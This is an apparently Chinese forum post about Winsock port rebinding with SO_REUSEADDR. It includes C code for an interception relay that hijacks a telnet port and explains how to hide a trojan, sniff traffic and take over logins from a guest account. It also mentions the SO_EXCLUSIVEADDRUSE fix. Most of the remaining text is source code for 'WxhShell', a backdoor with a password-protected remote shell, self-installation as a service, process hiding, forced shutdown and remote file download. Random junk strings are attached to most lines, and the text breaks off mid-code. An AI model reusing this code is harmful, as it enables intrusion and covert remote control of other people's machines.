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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W!T"m)S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lg$zGa?  
d0'HDVd  
  saddr.sin_family = AF_INET; <S?#@F\"S  
[?k8}B)mHB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i-" p)2d=#  
*\G)z|^yx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }ns-W3B'  
(R!hjw~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -0C@hM,wm  
1} %B%*N  
  这意味着什么?意味着可以进行如下的攻击: T{+Z(L  
rl08 R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pkgjTXR2b  
BlA[T%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "IQ/LbOqm_  
=elpH^N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /Ncm^b4  
9X$ma/P[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a<~77~"4wn  
eHiy,IN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O%8EZyu  
9(4&KZpK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R?o$Y6}5  
nkfZiyx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l{j~Q^U})  
*{ {b~$  
  #include b^0}}12  
  #include v\tEVhm  
  #include PwB1]p=  
  #include    #_93f |  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G<|8?6bq#  
  int main() -G7TEq)  
  { 2-N 'ya  
  WORD wVersionRequested; 4JGtI*%5lq  
  DWORD ret; [* ?Awf`   
  WSADATA wsaData; Z;/$niY  
  BOOL val; K%v1xZ  
  SOCKADDR_IN saddr; \%]I{  
  SOCKADDR_IN scaddr; u&mS8i}  
  int err; @a:>$t  
  SOCKET s; G+UMBn  
  SOCKET sc; \R36w^c3  
  int caddsize; #X 52/8G  
  HANDLE mt; j)C,%Ol  
  DWORD tid;   ?W^c4NtP  
  wVersionRequested = MAKEWORD( 2, 2 ); UcOk3{(z$q  
  err = WSAStartup( wVersionRequested, &wsaData ); KGH/^!u+R  
  if ( err != 0 ) { y){ k3lm0  
  printf("error!WSAStartup failed!\n"); 1 i[\T  
  return -1; mpPdG  
  } u_(VEfs4  
  saddr.sin_family = AF_INET; C CBfKp  
   eIRLNxt+v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /DQaGq/Ld  
8_<4-<}P:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9l,a^@Y:  
  saddr.sin_port = htons(23); ?=m?jNa;nC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tg]x0#@s  
  { ~T&<CTh  
  printf("error!socket failed!\n"); l&iq5}[n&  
  return -1; (bsXo q  
  } n8*;lK8  
  val = TRUE; "j;4 k.`h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h3LE>}6D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /x_o!<M  
  { <:SZAAoIV  
  printf("error!setsockopt failed!\n"); ={K`4BD  
  return -1; V-<GT ?  
  }  1%4sHSN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Tq]Sn]CSP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =jB08A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [<DZ*|+  
At7>V-f}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &l3iV88  
  { Oo"^%F~%  
  ret=GetLastError(); KMI_zhyB  
  printf("error!bind failed!\n"); oE#d,Z  
  return -1; ,lZB96r0  
  } ,AxdCT  
  listen(s,2); _%5R o6  
  while(1) ]]Cb$$Td  
  { O8B\{T1  
  caddsize = sizeof(scaddr); &f ^,la  
  //接受连接请求 $5Xh,DOg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #Q2Y&2`yGT  
  if(sc!=INVALID_SOCKET) Vx~,Uex0+  
  { b0lq\9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $2W%2rZ  
  if(mt==NULL) >-H {Z{VDd  
  { :x tXQza"-  
  printf("Thread Creat Failed!\n"); ?VP8ycm  
  break; N5a*7EJv+  
  } G6T_O  
  } xuqv6b.  
  CloseHandle(mt); a)wJT`xu  
  }  ,%uo6%  
  closesocket(s);  o4|M0  
  WSACleanup(); E[/\7 v\  
  return 0; SQX:7YF~  
  }   N<~t3/Nm  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ney/[3 A  
  { &l!4mxwr`  
  SOCKET ss = (SOCKET)lpParam; <YdE1{fm  
  SOCKET sc; z^'gx@YD*v  
  unsigned char buf[4096]; S:h{2{  
  SOCKADDR_IN saddr; H Z'_r cv  
  long num; 0u;4%}pD  
  DWORD val; |Y?H A&  
  DWORD ret; zd @m~V  
  //如果是隐藏端口应用的话,可以在此处加一些判断 19w*!FGX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7Zlw^'q$:L  
  saddr.sin_family = AF_INET; wK?vPS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Tj:B!>>  
  saddr.sin_port = htons(23);  R}O_[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -[cTx[Z,  
  { HMSO=)@+  
  printf("error!socket failed!\n"); Qk:Y2mL  
  return -1; 8fl`r~bqZ  
  } uScMn/%  
  val = 100; R%?9z 8-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gt@m?w(  
  { -*1J f&  
  ret = GetLastError(); <sBbT `  
  return -1; ML|FQ  
  } 02 c':a=7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RZXjgddL  
  { <g"{Wv: h  
  ret = GetLastError(); W"k"I vTW}  
  return -1; bbE!qk;hEP  
  } ?l9XAW t\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 17%Mw@+  
  { P GqQ@6B  
  printf("error!socket connect failed!\n"); g:hjy@ w  
  closesocket(sc); 5>[u `  
  closesocket(ss); ?8'*,bK  
  return -1; ~"nxE  
  } ,U2*FZ["  
  while(1) 'Gj3:-xqL  
  { 9Z4nAc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 RoPRQCE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3}}38A|4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~E17L]ete  
  num = recv(ss,buf,4096,0); 6 (]Dh;gC  
  if(num>0) e"|efE  
  send(sc,buf,num,0); LRL,m_gt  
  else if(num==0) VK m&iidU  
  break; pFOx>u2`a  
  num = recv(sc,buf,4096,0); 0Tx6zO  
  if(num>0) HiZ*+T.B  
  send(ss,buf,num,0); Q'=x|K#xj  
  else if(num==0) nT7%j{e=L  
  break; r>>%2Z-P  
  } T&6l$1J  
  closesocket(ss); <M+|rD]oc  
  closesocket(sc); vS;RJg=  
  return 0 ; %)1y AdG 8  
  } CsGx@\jN  
bCRV\myd`  
,E S0NA  
========================================================== C5o#i*|  
>qnko9V  
下边附上一个代码,,WXhSHELL wW>A_{Y  
d; boIP`M;  
========================================================== xF!,IKlBBp  
LSL/ZvSP  
#include "stdafx.h" akp-zn&je  
>mwlsL~X  
#include <stdio.h> p`olCp'  
#include <string.h> y0L_"e/  
#include <windows.h> c"f-3kFv  
#include <winsock2.h> 6' k<+IR  
#include <winsvc.h> oH97=>  
#include <urlmon.h> y%"{I7!A  
DhKS pA  
#pragma comment (lib, "Ws2_32.lib") ;`0%t$@-  
#pragma comment (lib, "urlmon.lib") C0T;![/4A  
p|U?86 t  
#define MAX_USER   100 // 最大客户端连接数 &6/[B_.  
#define BUF_SOCK   200 // sock buffer 9+Np4i@  
#define KEY_BUFF   255 // 输入 buffer Cio 1E-4  
R@1xt@?  
#define REBOOT     0   // 重启  -*1d!  
#define SHUTDOWN   1   // 关机 f,U.7E  
;17E(tl  
#define DEF_PORT   5000 // 监听端口 _>&X\`D   
P) Jgs  
#define REG_LEN     16   // 注册表键长度 ` Fa~  
#define SVC_LEN     80   // NT服务名长度 X _q\Sg  
q+yQwX{  
// 从dll定义API f\|w '  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n@<YI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V'z1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1+_`^|eK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )1?y 8_B  
3Z>Ux3[  
// wxhshell配置信息 cuax;0{%  
struct WSCFG { |mZxfI  
  int ws_port;         // 监听端口 Ytn9B}%o  
  char ws_passstr[REG_LEN]; // 口令 ;AG8C#_  
  int ws_autoins;       // 安装标记, 1=yes 0=no .]8ZwAs=&  
  char ws_regname[REG_LEN]; // 注册表键名 d[iQ` YW5  
  char ws_svcname[REG_LEN]; // 服务名 bV^rsJm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x]}^v#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /CrSu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uy>q7C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lU8l}Ndz"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }7b%HTF=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =x/X:;)>  
D}-/c"':}  
}; Ogqj?]2QC  
j`{?OYD  
// default Wxhshell configuration Y`~Ut:fZ  
struct WSCFG wscfg={DEF_PORT, HY56"LZ$(}  
    "xuhuanlingzhe", zYH&i6nj  
    1, sA+ }TNhq  
    "Wxhshell", /:cd\A}  
    "Wxhshell", g@d*\ P)  
            "WxhShell Service", {i;r  
    "Wrsky Windows CmdShell Service", M H|Og84  
    "Please Input Your Password: ", l0|5t)jF-  
  1, LP.]9ut  
  "http://www.wrsky.com/wxhshell.exe", .yoH/2h  
  "Wxhshell.exe" k$n|*kCh  
    }; /J]5H  
0Um2DjTCG  
// 消息定义模块 d-oMQGOklb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !Jo_"#5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]vAz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t*p71U4+I  
char *msg_ws_ext="\n\rExit."; tR# OjkvX  
char *msg_ws_end="\n\rQuit."; '+@=ILj>  
char *msg_ws_boot="\n\rReboot..."; &T#;-`'  
char *msg_ws_poff="\n\rShutdown..."; $zUP?Gq!  
char *msg_ws_down="\n\rSave to "; KqHyG  
em y[k  
char *msg_ws_err="\n\rErr!"; bTI|F]^!  
char *msg_ws_ok="\n\rOK!"; ?>VLTp8]  
dB{Q" !  
char ExeFile[MAX_PATH]; l|u>Tb|V  
int nUser = 0; !Lu2  
HANDLE handles[MAX_USER]; ]}V<*f  
int OsIsNt; V.U| #n5  
Z3Og=XHR  
SERVICE_STATUS       serviceStatus; wi!?BCseq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?al'F  q  
4VHn  \  
// 函数声明 ><4<yj1  
int Install(void); !Mx$A$Oj>  
int Uninstall(void); ?w$kue  
int DownloadFile(char *sURL, SOCKET wsh); T~-ycVc  
int Boot(int flag); ,<.V7(|t)  
void HideProc(void); _5w]a 2  
int GetOsVer(void); D ;RiGW4  
int Wxhshell(SOCKET wsl); 9[#pIPxNK  
void TalkWithClient(void *cs); |NlO7aQ>2H  
int CmdShell(SOCKET sock); ~?l | [  
int StartFromService(void); b]e"1Y)D-  
int StartWxhshell(LPSTR lpCmdLine); &1Ok`_plO  
)j6~Wy@4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]>!K3kB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }H53~@WP>  
Lw1Yvtn  
// 数据结构和表定义 !n`fTK<$  
SERVICE_TABLE_ENTRY DispatchTable[] = &< z1k-&!  
{ 8C40%q..  
{wscfg.ws_svcname, NTServiceMain}, d z|or9&  
{NULL, NULL}  -uS!\  
}; &bS ,hbDt  
<|HV. O/!  
// 自我安装 h0EEpL|\  
int Install(void) j/DzCcp7  
{ )+#` CIv  
  char svExeFile[MAX_PATH]; ]U+ LJOb  
  HKEY key; juJklSD  
  strcpy(svExeFile,ExeFile); {FI&^39 F$  
,CJWO bn3  
// 如果是win9x系统,修改注册表设为自启动 "69s) ~  
if(!OsIsNt) { t5Sy V:fP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KS+'|q<?w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /WcG{Wdp  
  RegCloseKey(key); !t"4!3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z{*\S0^ST  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); & l<.X  
  RegCloseKey(key); YP oSRA L  
  return 0; aj='b.2)  
    } &$+AXzn  
  } ,~U>'&M;  
} !|(-=2`  
else { 1er TldX  
3l~^06D  
// 如果是NT以上系统,安装为系统服务 KYm0@O>;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &C_j\7Dq  
if (schSCManager!=0)  $c!p&  
{ A`%k:@  
  SC_HANDLE schService = CreateService X0HZH?V+  
  ( g&L!1<, p  
  schSCManager, 70?\ugxA  
  wscfg.ws_svcname, -_g0C^:<,  
  wscfg.ws_svcdisp, : $1?i)  
  SERVICE_ALL_ACCESS, 8S TvCH"Z_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M/f<A$xx_  
  SERVICE_AUTO_START, #~]zhHI  
  SERVICE_ERROR_NORMAL, z(ONv#}p  
  svExeFile, [jQp~&nY  
  NULL, &u."A3(  
  NULL, `7E;VL^Y1  
  NULL, `v!urE/gg%  
  NULL, %@b0[ZC  
  NULL h,:m~0gmj  
  ); ]h`&&Bqt  
  if (schService!=0) .vf'YNQ%  
  { mY|)KJ  
  CloseServiceHandle(schService); [>I<#_^~  
  CloseServiceHandle(schSCManager); l:~/<`o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J3V= 46Yc  
  strcat(svExeFile,wscfg.ws_svcname); uo9B9"&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ELoDd&d8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !/b>sN}  
  RegCloseKey(key); n` _{9R  
  return 0; ,&A7iO  
    } dl)Y'DI  
  } [\e eDa  
  CloseServiceHandle(schSCManager); Z?q] bSIT  
} C}j"Qi`  
} N{!i=A  
5{WE~8$  
return 1; UW={[h{.|@  
} @D[_}JE  
Y1\}5k{>  
// 自我卸载 `,(4]tlL  
int Uninstall(void) B:Oa}/H   
{ QO:!p5^:  
  HKEY key; /{J4:N'B>  
d'gfQlDny  
if(!OsIsNt) { F~vuM$+d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R_cA:3qc~  
  RegDeleteValue(key,wscfg.ws_regname); C3f' {}  
  RegCloseKey(key); ! I:%0D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tk[ $5u*,  
  RegDeleteValue(key,wscfg.ws_regname); p$c6<'UqH  
  RegCloseKey(key); e)k9dOR  
  return 0; _yx>TE2e  
  } *KF#'wi  
} e2Pcm_Ahv*  
} q9K)Xk$LF  
else { qBQ?HLK-  
r|8d 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k .;j  
if (schSCManager!=0) xIW3={b3  
{ jRlYU`?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $rBq"u=,0+  
  if (schService!=0) Pj^{|U21  
  { 05#1w#i  
  if(DeleteService(schService)!=0) { PdFKs+Z`  
  CloseServiceHandle(schService); F,F4nw<W  
  CloseServiceHandle(schSCManager);  qA7>vi%  
  return 0; k"%~"9  
  } K7B/s9/xs  
  CloseServiceHandle(schService); |Zpfq63W  
  } *;slV3  
  CloseServiceHandle(schSCManager); +o{R _  
} M/'sl;  
} >>)b'c  
O6 3<AY@  
return 1; 2wg5#i  
} )EuvRLo{S7  
I_#kgp  
// 从指定url下载文件 ^/>(6>S^M  
int DownloadFile(char *sURL, SOCKET wsh) x+:UN'"r  
{ mDABH@ R  
  HRESULT hr; {4}yKjW%z  
char seps[]= "/"; [b%D3-}'  
char *token; >8^ $ [}w  
char *file; X7 MM2V  
char myURL[MAX_PATH]; bo>*fNqAIy  
char myFILE[MAX_PATH]; 4B1v4g8}  
65P0,b6"OT  
strcpy(myURL,sURL); 4[r0G+  
  token=strtok(myURL,seps); y2dCEmhY  
  while(token!=NULL) D/xbF`  
  { 2WL|wwA  
    file=token; dq6m>;`  
  token=strtok(NULL,seps); _/$Bpr{R  
  } (N6i4 g6  
k Z .gO  
GetCurrentDirectory(MAX_PATH,myFILE); sf qL|8  
strcat(myFILE, "\\"); \ a<h/4#|  
strcat(myFILE, file); k,6f &#x  
  send(wsh,myFILE,strlen(myFILE),0); jD]~ AwRJ  
send(wsh,"...",3,0); t#})Awy^R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J?1 uKR  
  if(hr==S_OK) ::lKL  
return 0; wu!59pL  
else a2O75 kWnm  
return 1; zT.7  
LgU_LcoM*  
} 6 7.+ .2  
[Td4K.c  
// 系统电源模块 `pa!~|p  
int Boot(int flag) {hjhL: pg  
{ %D34/=(X  
  HANDLE hToken; {SPq$B_VR  
  TOKEN_PRIVILEGES tkp; Oc#syfO  
HYZ5EV  
  if(OsIsNt) { ItVWO:x&v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %6,SKg p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +F` S>U  
    tkp.PrivilegeCount = 1; -H@:*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B\=8_z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P>C~ i:4n  
if(flag==REBOOT) { .Iw AK/QS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qp }Cqi  
  return 0; O2E/jj  
} ~9]hV7y5C  
else { w~A{(- dx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hGe/ ;@%  
  return 0; rig,mv  
} o Q2Fjj  
  } `Bp.RXsd*  
  else { *uf'zQ<9  
if(flag==REBOOT) { 8 &LQzwa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +b<FO+E_  
  return 0; $E~`\o%Ev  
} A*2jENgci  
else { 7M!I8C0!aO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HxV=F66"  
  return 0; HY*Kb+[  
} Y@vTaE^w3  
} QzVnL U)  
 a=9:[  
return 1; W?R6ZAn  
} 4<Utmr  
w^|*m/h|@u  
// win9x进程隐藏模块 !4RWYMV "  
void HideProc(void) Gbr=+AT  
{ GL#up  
k8[n+^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mbxZL<ua  
  if ( hKernel != NULL ) h$>-.-  
  { 2B[X,rL.pX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T|eu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9igiZmM  
    FreeLibrary(hKernel); 4y?n [/M/  
  } u(>^3PJ+  
p!7FpxZY  
return; XB^'K2  
} Vpz\.]  
<I\/n<*  
// 获取操作系统版本 Uw. `7b>B  
int GetOsVer(void) 8,4"uuI  
{ { ]{/t-=  
  OSVERSIONINFO winfo; VU(v3^1"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EF[@$j   
  GetVersionEx(&winfo); {_[N<U:QT&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'Ym9;~(@R  
  return 1; vXf!G`D  
  else feDlH[$  
  return 0; t7Iv?5]N  
} HZC"nb}r4  
v6bGjVK[  
// 客户端句柄模块 uK"=i8rs4  
int Wxhshell(SOCKET wsl) !Vn\u  
{ ghG**3xr  
  SOCKET wsh; {j?FNOJn  
  struct sockaddr_in client; xQ-<WF1i  
  DWORD myID; B$fPgW-  
KE5kOU;  
  while(nUser<MAX_USER) '4+ ur`  
{ {9&;Q|D z  
  int nSize=sizeof(client); !Y0Vid  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D rUO-  
  if(wsh==INVALID_SOCKET) return 1; i(%W_d!  
/tx]5`#@7]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TOB-aAO  
if(handles[nUser]==0) I(L,8n5  
  closesocket(wsh); J s@hLP `  
else \O3m9,a   
  nUser++; A5I)^B<(  
  } rxvx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MDZ640-Y  
KK/tu+"  
  return 0; 2>xF){`  
} np"\19^  
X; \+<LE  
// 关闭 socket &ZlVWK~v  
void CloseIt(SOCKET wsh) =vCY?I$P  
{ zII|9y  
closesocket(wsh); SuJ aL-;  
nUser--; u^ +7hkk  
ExitThread(0); C\Wmq [  
} }_M~2L?i  
~?Qe?hB  
// 客户端请求句柄 9iIhte.  
void TalkWithClient(void *cs) ,GbR!j@6  
{ }I+E\ <  
Jy`B!S_l  
  SOCKET wsh=(SOCKET)cs; 8sWJcmVo  
  char pwd[SVC_LEN]; 17%,7P9pg  
  char cmd[KEY_BUFF]; >reU#j  
char chr[1]; /$xU  
int i,j; by1<[$8r  
Olt?~}  
  while (nUser < MAX_USER) { `_Zg3_K.dS  
,*TmIPNK  
if(wscfg.ws_passstr) { M>xK+q?O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B:yGS*.tu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;s= l52  
  //ZeroMemory(pwd,KEY_BUFF);  L2[($l  
      i=0; Q2w_X8  
  while(i<SVC_LEN) { -n~1C {<  
5,lEx1{_  
  // 设置超时 hP%M?MKC  
  fd_set FdRead; *MFIV02[N  
  struct timeval TimeOut; e\`&p  
  FD_ZERO(&FdRead); MC&` oX[  
  FD_SET(wsh,&FdRead); Tj` ,Z5vy  
  TimeOut.tv_sec=8; w,p PYf/t  
  TimeOut.tv_usec=0; ~]|6T~+]83  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ntX3Nt_n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :\`o8`  
}#RakV4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,GhS[VJjR  
  pwd=chr[0]; Hh3X \  
  if(chr[0]==0xd || chr[0]==0xa) { iJI }TVep#  
  pwd=0; I3{PZhU.  
  break; CAig ]=2'  
  } Wq D4YGN  
  i++; d`=MgHz  
    } ~k-y &<UR  
T*/rySs  
  // 如果是非法用户,关闭 socket XB;7!8|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6m/r+?'  
} U/66L+1  
xf\C|@i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J\} twYty  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fo (fWvz  
hlvK5Z   
while(1) { Jc&{`s^Nu  
Fj8z  
  ZeroMemory(cmd,KEY_BUFF); v|_K/|  
EqkN3%IG  
      // 自动支持客户端 telnet标准   c)6m$5]  
  j=0; ]NQfX[  
  while(j<KEY_BUFF) { r..iko]T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L:$ ,v^2  
  cmd[j]=chr[0]; jh?H.;**  
  if(chr[0]==0xa || chr[0]==0xd) { Y #ap*  
  cmd[j]=0; :DK {Vg6  
  break; 8?B!2  
  } K e;E1S-~  
  j++; .FP$m?  
    } q<x/Hat)  
g>E LGG |Q  
  // 下载文件 TM__I\+Q  
  if(strstr(cmd,"http://")) { G=s}12/Z"{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pf")e,u$  
  if(DownloadFile(cmd,wsh)) <6%?OJhp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 58}U^IW  
  else 6IN e@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U#7#aeI  
  } p}}R-D&K  
  else { x xHY+(m  
'|6]_   
    switch(cmd[0]) { <VMGTBVQ  
  XAD- 'i  
  // 帮助 wyH[x!QX  
  case '?': { p#ZCvPE;uH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CCs%%U/=  
    break; $8)+XmsCr  
  } :I.mGH!^  
  // 安装 (U D nsF  
  case 'i': { Y Vt% 0  
    if(Install()) d~])K#oJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h"B+hu  
    else 6%\J"AgXO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Gef \   
    break; /* (Kr'c  
    } 5ORo3T%  
  // 卸载 }?$F}s-  
  case 'r': { E<rp7~#  
    if(Uninstall()) ; }I:\P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |MTnH/|  
    else )NW)R*m~D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c8 )DuJ#U  
    break; + )AG*  
    } aL\PGdgO  
  // 显示 wxhshell 所在路径 C!O0xhs  
  case 'p': { % :f&.@'r  
    char svExeFile[MAX_PATH]; LRxZcxmy  
    strcpy(svExeFile,"\n\r"); MVpGWTH@F  
      strcat(svExeFile,ExeFile); ~p6 V,Q  
        send(wsh,svExeFile,strlen(svExeFile),0); u4cnE"  
    break; 4Co6(  
    } B6+khuG(  
  // 重启 +zqn<<9  
  case 'b': { 7uqzm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Uk[b|<U-`d  
    if(Boot(REBOOT)) 3oj' ytxN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J/`<!$<c  
    else { Y sC>i`n9  
    closesocket(wsh); f#>,1,S  
    ExitThread(0); djl*H  
    } #Qw0&kM7I  
    break; .fqN|[>  
    } ?6!JCQJ<  
  // 关机 dZl5Ic  
  case 'd': { )N{Pw$l_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G{~J|{t\yz  
    if(Boot(SHUTDOWN)) (Bb5?fw  
